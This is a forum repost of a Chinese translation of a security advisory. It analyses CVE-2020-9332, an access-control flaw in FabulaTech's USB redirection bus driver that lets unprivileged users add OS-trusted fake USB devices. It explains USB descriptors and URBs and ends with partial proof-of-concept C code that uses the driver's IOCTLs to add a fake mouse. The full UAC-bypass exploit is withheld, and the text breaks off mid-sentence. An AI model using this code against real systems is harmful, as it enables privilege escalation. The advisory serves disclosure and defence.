搜索

[28402] 2020-07-09_CVE-2020-9332（一个易受攻击的USB重定向软件）分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2020-07-09_CVE-2020-9332（一个易受攻击的USB重定向软件）分析 C V E - 2 0 2 0 - 9 3 3 2 （ 一 个 易 受 攻 击 的 U S B 重 定 向 软 件 ） 分 析 M i c h a e l   O t s 安 全   2 0 2 0 - 0 7 - 0 9 执 行 摘 要 执 行 摘 要 F a b u l a T e c h 软 件 提 供 了 广 泛 的 产 品 ， 使 企 业 可 以 使 用 将 U S B 设 备 重 定 向 到 远 程 会 话 的 应 用 程 序 将 设 备 远 程 连 接 到 端 点 。 通 常 ， F a b u l a T e c h 支 持 M i c r o s o f t   R D P ， T e r a d i c i   P C o I P 或 C i t r i x   I C A 协 议 。 安 装 后 ， 该 软 件 通 过 添 加 虚 拟 键 盘 或 其 他 设 备 ， 为 攻 击 者 提 供 了 一 种 接 管 设 备 的 方 式 。 该 漏 洞 代 表 一 种 新 的 攻 击 媒 介 ， 攻 击 者 可 以 利 用 它 创 建 受 W i n d o w s 操 作 系 统 （ 内 核 ） 完 全 信 任 的 伪 造 U S B 设 备 ， 以 非 常 规 和 意 外 的 方 式 攻 击 计 算 机 。 尽 管 并 非 所 有 员 工 都 能 恢 复 到 本 地 工 作 状 态 ， 但 这 种 性 质 的 攻 击 可 能 会 使 过 渡 到 办 公 室 的 工 作 更 加 困 难 。 发 现 已 与 供 应 商 共 享 ， 但 是 没 有 可 用 的 修 复 程 序 。 更 新 ： 更 新 ： 根 据 这 篇 文 章 ， 供 应 商 已 通 知 我 们 ， 他 们 随 后 在 其 U S B   f o r   R e m o t e   D e s k t o p 产 品 中 实 现 了 C V E - 2 0 2 0 - 9 3 3 2 的 修 复 程 序 。 介 绍 介 绍 F a b u l a T e c h 安 装 总 线 驱 动 程 序 作 为 其 “ 用 于 远 程 桌 面 的 U S B ” 软 件 产 品 的 一 部 分 。 总 线 驱 动 程 序 允 许 低 特 权 用 户 添 加 完 全 控 制 的 软 件 U S B 设 备 ， 攻 击 者 可 能 会 使 用 该 U S B 设 备 在 某 些 常 见 情 况 下 提 升 特 权 。 该 驱 动 程 序 由 F a b u l a T e c h 签 名 ， 并 自 动 从 操 作 系 统 启 动 。 该 漏 洞 已 于 1 月 2 9 日 和 2 月 4 日 报 告 给 供 应 商 （ 以 下 有 关 我 们 负 责 任 披 露 的 更 多 详 细 信 息 ） ， 然 后 提 交 给 M I T R E 。 该 漏 洞 已 收 到 以 下 I D ： C V E - 2 0 2 0 - 9 3 3 2 。 不 久 前 ， 我 们 注 意 到 一 些 客 户 计 算 机 上 的 内 核 异 常 活 动 。 此 行 为 导 致 互 操 作 性 问 题 ， 并 且 看 起 来 可 疑 。 这 促 使 我 们 更 深 入 地 研 究 驱 动 程 序 ， 并 发 现 下 面 详 细 介 绍 的 漏 洞 。 远 程 桌 面 远 程 桌 面 U S B U S B 重 定 向 软 件 使 远 程 U S B 设 备 可 以 通 过 网 络 使 用 ， 就 像 它 们 已 连 接 到 计 算 机 一 样 。 在 本 地 计 算 机 上 运 行 的 客 户 端 软 件 收 集 有 关 重 定 向 设 备 的 信 息 ， 并 将 其 传 递 给 在 远 程 计 算 机 上 运 行 的 服 务 器 。 然 后 ， 服 务 器 使 用 总 线 驱 动 程 序 来 创 建 和 操 作 软 件 设 备 ， 该 软 件 设 备 将 重 复 实 际 设 备 进 行 的 所 有 I   /   O 。 每 次 客 户 端 设 备 从 计 算 机 读 取 数 据 或 向 计 算 机 写 入 数 据 时 ， 客 户 端 软 件 都 会 将 请 求 发 送 至 服 务 器 端 ， 以 通 过 总 线 驱 动 程 序 进 行 重 播 ， 从 而 使 操 作 系 统 认 为 真 实 设 备 已 连 接 至 远 程 计 算 机 。
可 在 此 开 源 项 目 中 找 到 有 关 U S B 重 定 向 的 更 多 信 息 。 所 以 有 什 么 问 题 ？ 所 以 有 什 么 问 题 ？ 好 吧 ， 如 果 只 有 特 权 实 体 可 以 访 问 F a b u l a T e c h 的 总 线 驱 动 程 序 ， 这 不 会 有 问 题 。 通 常 ， 驱 动 程 序 可 以 通 过 添 加 仅 限 制 对 系 统 和 管 理 员 访 问 权 限 的 安 全 描 述 符 来 保 护 其 设 备 对 象 ， 或 者 通 过 在 驱 动 程 序 本 身 中 执 行 安 全 检 查 来 保 护 设 备 对 象 。 在 这 种 情 况 下 ， 控 制 应 用 程 序 应 该 是 在 特 权 帐 户 下 运 行 的 服 务 。 对 于 W D M 驱 动 程 序 ， 分 配 安 全 描 述 符 的 最 佳 方 法 是 使 用 W d m l i b I o C r e a t e D e v i c e S e c u r e 例 程 。 对 于 K M D F 驱 动 程 序 ， W d f D e v i c e I n i t A s s i g n S D D L S t r i n g 可 以 完 成 此 工 作 。 N T I n s i d e r 的 2 0 1 7 年 一 期 对 此 主 题 进 行 了 详 细 介 绍 。 不 幸 的 是 ， 普 通 的 旧 I o C r e a t e D e v i c e 例 程 无 法 提 供 在 创 建 设 备 对 象 时 分 配 安 全 描 述 符 的 方 法 。 相 反 ， 它 假 定 在 I N F 文 件 中 定 义 了 安 全 描 述 符 。 这 使 开 发 人 员 完 全 忘 了 应 用 安 全 描 述 符 ， 而 使 每 个 人 都 可 以 访 问 设 备 对 象 。 现 代 驱 动 程 序 应 该 使 用 W d m l i b I o C r e a t e D e v i c e S e c u r e 例 程 来 创 建 设 备 对 象 ， 或 者 甚 至 更 好 地 坚 持 使 用 K M D F 框 架 。 在 本 文 中 可 以 找 到 有 关 将 安 全 描 述 符 应 用 于 设 备 对 象 的 更 多 详 细 信 息 。 F a b u l a T e c h 驱 动 程 序 还 调 用 不 安 全 的 I o C r e a t e D e v i c e 例 程 ：
这 使 非 特 权 ， 低 完 整 性 用 户 可 以 添 加 和 控 制 O S 完 全 信 任 的 软 件 设 备 。 具 有 讽 刺 意 味 的 是 ， F a b u l a T e c h 服 务 确 实 在 L o c a l S y s t e m 帐 户 下 运 行 ：
由 于 这 种 威 胁 ， 可 能 会 发 生 许 多 恶 意 情 况 。 例 如 ， 攻 击 者 可 以 添 加 伪 造 的 鼠 标 指 针 设 备 ， 然 后 在 U A C 同 意 窗 口 中 单 击 “ 是 ” ， 或 者 伪 造 的 键 盘 可 能 在 当 前 用 户 的 上 下 文 中 键 入 命 令 。 由 于 这 些 动 作 来 自 软 件 设 备 ， 因 此 完 全 不 需 要 用 户 交 互 。 如 果 我 们 假 设 产 品 可 以 模 拟 任 何 U S B 设 备 ， 那 么 我 们 可 以 进 行 更 高 级 的 攻 击 ， 例 如 添 加 U S B 以 太 网 网 卡 以 执 行 M I T M 攻 击 等 。 U S B 和 和 H I D 为 了 了 解 如 何 利 用 此 问 题 ， 我 们 首 先 必 须 熟 悉 一 点 U S B 背 景 ， 尤 其 是 H I D （ 人 机 接 口 设 备 ） 。 U S B 协 议 的 中 心 概 念 之 一 是 U S B 描 述 符 ： U S B 设 备 在 回 复 来 自 主 机 的 请 求 时 返 回 的 数 据 结 构 。 描 述 符 是 设 备 提 供 有 关 其 自 身 信 息 的 好 方 法 。 当 U S B 设 备 插 入 计 算 机 时 ， W i n d o w s 内 核 会 请 求 其 描 述 符 来 标 识 设 备 ， 其 配 置 ， 电 源 选 项 和 其 他 属 性 。 然 后 ， 内 核 加 载 与 设 备 标 识 符 匹 配 的 驱 动 程 序 ， 并 发 送 更 多 请 求 以 设 置 设 备 。 U S B 设 备 可 能 具 有 一 些 配 置 ， 这 些 配 置 定 义 了 当 前 处 于 活 动 状 态 的 子 设 备 （ 接 口 ） 。 每 个 接 口 代 表 一 个 独 立 的 子 设 备 ， 该 子 设 备 与 其 他 子 设 备 共 享 物 理 容 器 。 例 如 ， U S B 键 盘 可 能 具 有 内 置 的 触 摸 板 。 在 这 种 情 况 下 ， 配 置 应 公 开 两 个 接 口 ： 一 个 用 于 键 盘 ， 另 一 个 用 于 鼠 标 指 针 。 具 有 多 个 接 口 的 设 备 称 为 复 合 设 备 。 W i n d o w s 将 U S B 接 口 视 为 独 立 设 备 ， 并 且 每 个 子 设 备 都 可 能 匹 配 其 自 己 的 驱 动 程 序 。 描 述 符 关 系 的 整 体 方 案 如 下 所 示 ：
U S B 描 述 符 有 几 种 类 型 ： 设 备 ， 配 置 ， 接 口 ， 端 点 和 字 符 串 描 述 符 。 有 关 描 述 符 的 完 整 列 表 和 布 局 ， 请 参 见 u s b . o r g 上 的 U S B 规 范 。 我 将 简 要 说 明 描 述 符 如 何 相 互 关 联 以 构 建 U S B 设 备 。 U S B 主 描 述 符 是 设 备 描 述 符 。 它 包 含 有 关 设 备 的 常 规 信 息 ： t y p e d e f   s t r u c t   _ U S B _ D E V I C E _ D E S C R I P T O R   {         U C H A R   b L e n g t h ;         U C H A R   b D e s c r i p t o r T y p e ;         U S H O R T   b c d U S B ;         U C H A R   b D e v i c e C l a s s ;         U C H A R   b D e v i c e S u b C l a s s ;         U C H A R   b D e v i c e P r o t o c o l ;         U C H A R   b M a x P a c k e t S i z e 0 ;         U S H O R T   i d V e n d o r ；         U S H O R T   i d P r o d u c t ;         U S H O R T   b c d D e v i c e ;         U C H A R   i M a n u f a c t u r e r ；         U C H A R   i P r o d u c t ；         U C H A R   i S e r i a l N u m b e r ；         U C H A R   b N u m C o n f i g u r a t i o n s ; }   U S B _ D E V I C E _ D E S C R I P T O R ， *   P U S B _ D E V I C E _ D E S C R I P T O R ； 设 备 描 述 符 的 最 重 要 字 段 是 ： 产 品 I D ， 供 应 商 I D 和 U S B 配 置 数 。
t y p e d e f   s t r u c t   _ U S B _ C O N F I G U R A T I O N _ D E S C R I P T O R   {         U C H A R   b L e n g t h ;         U C H A R   b D e s c r i p t o r T y p e ;         U S H O R T   w T o t a l L e n g t h ;         U C H A R   b N u m I n t e r f a c e s ;         U C H A R   b C o n f i g u r a t i o n V a l u e ;         U C H A R   i C o n f i g u r a t i o n ；         U C H A R   b m A t t r i b u t e s ;         U C H A R   M a x P o w e r ; }   U S B _ C O N F I G U R A T I O N _ D E S C R I P T O R ， *   P U S B _ C O N F I G U R A T I O N _ D E S C R I P T O R ； U S B 配 置 用 于 管 理 设 备 的 接 口 和 电 源 选 项 。 U S B 配 置 描 述 符 是 U S B 接 口 描 述 符 的 容 器 。 它 对 接 口 进 行 分 组 ， 使 设 备 驱 动 程 序 可 以 决 定 在 任 何 给 定 时 刻 应 启 用 或 禁 用 哪 些 接 口 。 想 象 一 下 ， 有 一 个 带 有 内 置 触 摸 板 的 键 盘 ， 如 前 所 述 。 键 盘 需 要 驱 动 程 序 ， 供 应 商 可 能 希 望 将 驱 动 程 序 与 键 盘 一 起 提 供 。 一 种 可 能 的 解 决 方 案 是 在 键 盘 上 添 加 一 个 微 型 U S B 大 容 量 存 储 。 存 储 器 应 带 有 驱 动 程 序 和 管 理 应 用 程 序 。 但 是 ， 一 旦 安 装 了 驱 动 程 序 ， 供 应 商 就 不 想 公 开 存 储 。 这 是 配 置 起 作 用 的 地 方 。 键 盘 可 能 具 有 两 种 配 置 ： 第 一 种 配 置 公 开 三 个 接 口 ： 键 盘 本 身 ， 触 摸 板 和 存 储 。 安 装 驱 动 程 序 后 ， 它 将 把 键 盘 切 换 到 第 二 个 配 置 ， 该 配 置 显 示 两 个 接 口 ： 键 盘 和 触 摸 板 。 每 个 配 置 描 述 符 后 均 是 属 于 该 配 置 的 接 口 描 述 符 。 b N u m I n t e r f a c e s 字 段 指 定 描 述 符 的 数 量 。 接 口 描 述 符 又 是 端 点 描 述 符 的 容 器 。 t y p e d e f   s t r u c t   _ U S B _ I N T E R F A C E _ D E S C R I P T O R   {         U C H A R   b L e n g t h ;         U C H A R   b D e s c r i p t o r T y p e ;         U C H A R   b I n t e r f a c e N u m b e r ;         U C H A R   b A l t e r n a t e S e t t i n g ;         U C H A R   b N u m E n d p o i n t s ;         U C H A R   b I n t e r f a c e C l a s s ;         U C H A R   b I n t e r f a c e S u b C l a s s ;         U C H A R   b I n t e r f a c e P r o t o c o l ;         U C H A R   i I n t e r f a c e ； }   U S B _ I N T E R F A C E _ D E S C R I P T O R ， *   P U S B _ I N T E R F A C E _ D E S C R I P T O R ； 与 配 置 描 述 符 相 似 ， 接 口 描 述 符 后 跟 端 点 描 述 符 。 端 点 类 似 于 网 络 端 口 ： 它 们 是 实 际 上 从 主 机 接 收 信 息 或 将 其 发 送 回 主 机 的 实 体 。 像 网 络 端 口 一 样 ， 终 结 点 由 称 为 b E n d p o i n t A d d r e s s 的 数 字 寻 址 。 b E n d p o i n t A d d r e s s 和 其 他 一 些 字 段 共 同 表 示 一 个 端 点 描 述 符 ： t y p e d e f   s t r u c t   _ U S B _ E N D P O I N T _ D E S C R I P T O R   {         U C H A R   b L e n g t h ;         U C H A R   b D e s c r i p t o r T y p e ;         U C H A R   b E n d p o i n t A d d r e s s ;         U C H A R   b m A t t r i b u t e s ;         U S H O R T   w M a x P a c k e t S i z e ;         U C H A R   b I n t e r v a l ; }   U S B _ E N D P O I N T _ D E S C R I P T O R ， *   P U S B _ E N D P O I N T _ D E S C R I P T O R ；
U S B 请 求 块 请 求 块 U S B 协 议 中 的 另 一 个 重 要 概 念 是 U R B 。 U S B 设 备 驱 动 程 序 是 协 议 驱 动 程 序 ： 它 们 使 用 U S B 请 求 块 （ U R B ） 与 它 们 备 份 的 设 备 进 行 交 互 。 U S B 驱 动 程 序 无 法 直 接 访 问 I O 端 口 ， I O 内 存 或 中 断 等 硬 件 资 源 。 相 反 ， 他 们 将 U R B 提 交 到 U S B 设 备 堆 栈 （ 通 常 是 它 们 自 己 的 堆 栈 ） ， 将 实 际 的 硬 件 交 互 作 用 卸 载 到 较 低 的 驱 动 程 序 。 U R B 数 据 包 由 描 述 U R B 功 能 的 固 定 大 小 报 头 和 取 决 于 U R B 功 能 的 可 变 大 小 部 分 组 成 。 这 些 功 能 对 应 于 先 前 描 述 的 请 求 ， 它 们 可 以 ： 选 择 活 动 配 置 ， 获 取 设 备 描 述 符 ， 执 行 往 返 端 点 的 数 据 传 输 等 等 。 这 是 数 据 传 输 U R B 的 示 例 ： s t r u c t   _ U R B _ H E A D E R   {         U S H O R T       L e n g t h ;         U S H O R T       F u n c t i o n ;         U S B D _ S T A T U S   S t a t u s ;         P V O I D         U s b d D e v i c e H a n d l e ;         U L O N G         U s b d F l a g s ; } ; s t r u c t   _ U R B _ B U L K _ O R _ I N T E R R U P T _ T R A N S F E R   {         s t r u c t   _ U R B _ H E A D E R     H d r ;         U S B D _ P I P E _ H A N D L E       P i p e H a n d l e ;         U L O N G                 T r a n s f e r F l a g s ;         U L O N G                 T r a n s f e r B u f f e r L e n g t h ;         P V O I D                 T r a n s f e r B u f f e r ;         P M D L                   T r a n s f e r B u f f e r M D L ;         s t r u c t   _ U R B           * U r b L i n k ;         s t r u c t   _ U R B _ H C D _ A R E A   h c a ; } ; 提 交 后 ， U R B 会 转 到 最 低 级 别 的 驱 动 程 序 ， 该 驱 动 程 序 管 理 插 入 U S B 端 口 的 U S B 设 备 。 最 低 的 驱 动 程 序 解 析 U R B ， 将 其 转 换 为 物 理 表 示 并 将 其 连 接 到 插 入 的 设 备 。 如 果 可 以 将 驱 动 程 序 开 发 称 为 “ 轻 松 ” ， 则 协 议 方 法 使 U S B 设 备 驱 动 程 序 的 开 发 变 得 容 易 。 为 了 使 事 情 更 加 统 一 ， 开 发 了 H I D 。 H I D 的 想 法 是 将 用 户 输 入 和 输 出 通 用 化 为 一 组 预 定 义 的 报 告 ， 并 具 有 通 用 驱 动 程 序 （ 例 如 键 盘 的 k b d h i d . s y s ） ， 将 这 些 报 告 转 换 为 操 作 系 统 事 件 。 因 此 ， 支 持 H I D 的 设 备 根 本 不 需 要 附 带 的 驱 动 程 序 。 这 样 的 架 构 简 化 了 U S B 设 备 的 重 定 向 。 要 重 定 向 U S B 设 备 ， 需 要 嗅 探 流 入 真 实 设 备 的 U R B ， 并 在 虚 拟 设 备 上 重 复 进 行 。 P o C 时 间 ！ 时 间 ！ 如 前 所 述 ， F a b u l a T e c h 的 解 决 方 案 从 网 络 获 取 真 实 设 备 数 据 ， 然 后 将 其 重 复 发 送 到 软 件 设 备 。 F a b u l a T e c h 在 用 户 模 式 服 务 中 实 现 获 取 ， 而 驱 动 程 序 仅 充 当 服 务 和 O S 之 间 的 中 介 。 设 备 逻 辑 和 回 复 实 际 上 应 该 在 用 户 模 式 下 实 现 。 该 驱 动 程 序 公 开 允 许 以 下 操 作 的 控 制 代 码 ： 创 建 设 备 ， 从 操 作 系 统 获 取 U R B 并 回 复 U R B 。 设 备 创 建 代 码 获 取 设 备 描 述 符 作 为 输 入 ， 其 他 两 个 获 取 和 返 回 U R B 。 输 入 和 输 出 参 数 使 驾 驶 员 的 专 用 标 头 后 面 是 U R B ， 后 面 是 H I D 报 告 。
由 于 该 漏 洞 不 是 由 供 应 商 修 补 的 ， 因 此 我 们 不 会 发 布 绕 过 U A C 的 完 整 漏 洞 利 用 程 序 。 按 照 标 准 的 9 0 天 政 策 ， 我 们 将 这 一 职 位 禁 运 至 4 月 2 9 日 。 由 于 禁 运 期 已 经 结 束 ， 而 且 完 全 没 有 漏 洞 利 用 ， 因 此 我 们 在 这 里 发 布 了 一 个 P o C ， 该 P o C 只 是 使 用 易 受 攻 击 的 驱 动 程 序 添 加 了 假 鼠 标 设 备 。 首 先 ， 让 我 们 添 加 带 有 I O C T L _ F T _ A D D _ D E V I C E （ 0 x 2 2 2 0 0 0 ） 控 制 代 码 的 设 备 。 控 制 处 理 程 序 在 输 入 缓 冲 区 中 获 取 设 备 描 述 符 。 描 述 符 最 重 要 的 部 分 是 设 备 I D ， 该 I D 标 识 设 备 并 让 O S 查 找 匹 配 的 驱 动 程 序 。 P o C 使 用 V e n d o r I D   0 E 0 F 和 P r o d u c t I D 0 0 0 3 （ 这 是 V M W a r e 虚 拟 U S B 鼠 标 ） 。 / * * * * * * * * * * * * * / H A N D L E   E v e n t   =   C r e a t e E v e n t W ( n u l l p t r ,   T R U E ,   F A L S E ,   n u l l p t r ) ; / / F i l l   a   f e w   e v e n t   h a n d l e s P H A N D L E   p E v e n t   =   ( P H A N D L E ) ( & D e v i c e D e s c [ 0 x 1 4 ] ) ; p E v e n t [ 0 ]   =   p E v e n t [ 1 ]   =   p E v e n t [ 2 ]   =   E v e n t ; D W O R D   R e t u r n e d ; B O O L   r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ A D D _ D E V I C E ,   D e v i c e D e s c ,   s i z e o f ( D e v i c e D e s c ) ,   D e v i c e D e s c ,   s i z e o f ( D e v i c e D e s c ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   D e v i c e D e s c n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } / * * * * * * * * * * * * * /
其 次 ， 我 们 必 须 回 复 来 自 操 作 系 统 的 一 些 U S B 描 述 符 请 求 ， 就 好 像 我 们 是 真 实 设 备 一 样 。 这 些 请 求 包 括 ： 选 择 配 置 ， 设 置 空 闲 ， 获 取 原 始 报 告 描 述 符 等 等 。 2 个 控 制 代 码 I O C T L _ F T _ G E T _ R E Q U E S T （ 0 x 2 2 2 0 0 B ） 和 I O C T L _ F T _ S E T _ R E Q U E S T （ 0 x 2 2 2 0 1 7 ） 完 成 了 这 项 工 作 ： / * * * * * * * * * * * * * / r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   S e l e c t C o n f i g ,   s i z e o f ( S e l e c t C o n f i g ) ,   S e l e c t C o n f i g ,   s i z e o f ( S e l e c t C o n f i g ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   S e l e c t C o n f i g n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   G e t M s D e s c ,   s i z e o f ( G e t M s D e s c ) ,   G e t M s D e s c ,   s i z e o f ( G e t M s D e s c ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   G e t M s D e s c n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   S e t I d l e ,   s i z e o f ( S e t I d l e ) ,   S e t I d l e ,   s i z e o f ( S e t I d l e ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   S e t I d l e n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   R a w R e p o r t D e s c r i p t o r ,   s i z e o f ( R a w R e p o r t D e s c r i p t o r ) ,   R a w R e p o r t D e s c r i p t o r ,   s i z e o f ( R a w R e p o r t D e s c r i p t o r ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   R a w R e p o r t D e s c r i p t o r n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   S e t I d l e 2 ,   s i z e o f ( S e t I d l e 2 ) ,   S e t I d l e 2 ,   s i z e o f ( S e t I d l e 2 ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   S e t I d l e 2 n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ;
        p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   R a w R e p o r t D e s c r i p t o r 2 ,   s i z e o f ( R a w R e p o r t D e s c r i p t o r 2 ) ,   R a w R e p o r t D e s c r i p t o r 2 ,   s i z e o f ( R a w R e p o r t D e s c r i p t o r 2 ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   R a w R e p o r t D e s c r i p t o r 2 n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; / * * * * * * * * * * * * * / 执 行 此 代 码 片 段 会 向 操 作 系 统 添 加 一 个 非 常 假 的 鼠 标 ： 到 目 前 为 止 没 有 修 复 到 目 前 为 止 没 有 修 复 不 幸 的 是 ， 供 应 商 未 确 认 该 漏 洞 （ 更 新 ： 请 参 见 下 文 ！ ） 。 我 们 试 图 在 2 0 2 0 年 1 月 2 9 日 和 2 0 2 0 年 2 月 4 日 通 过 电 子 邮 件 与 供 应
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理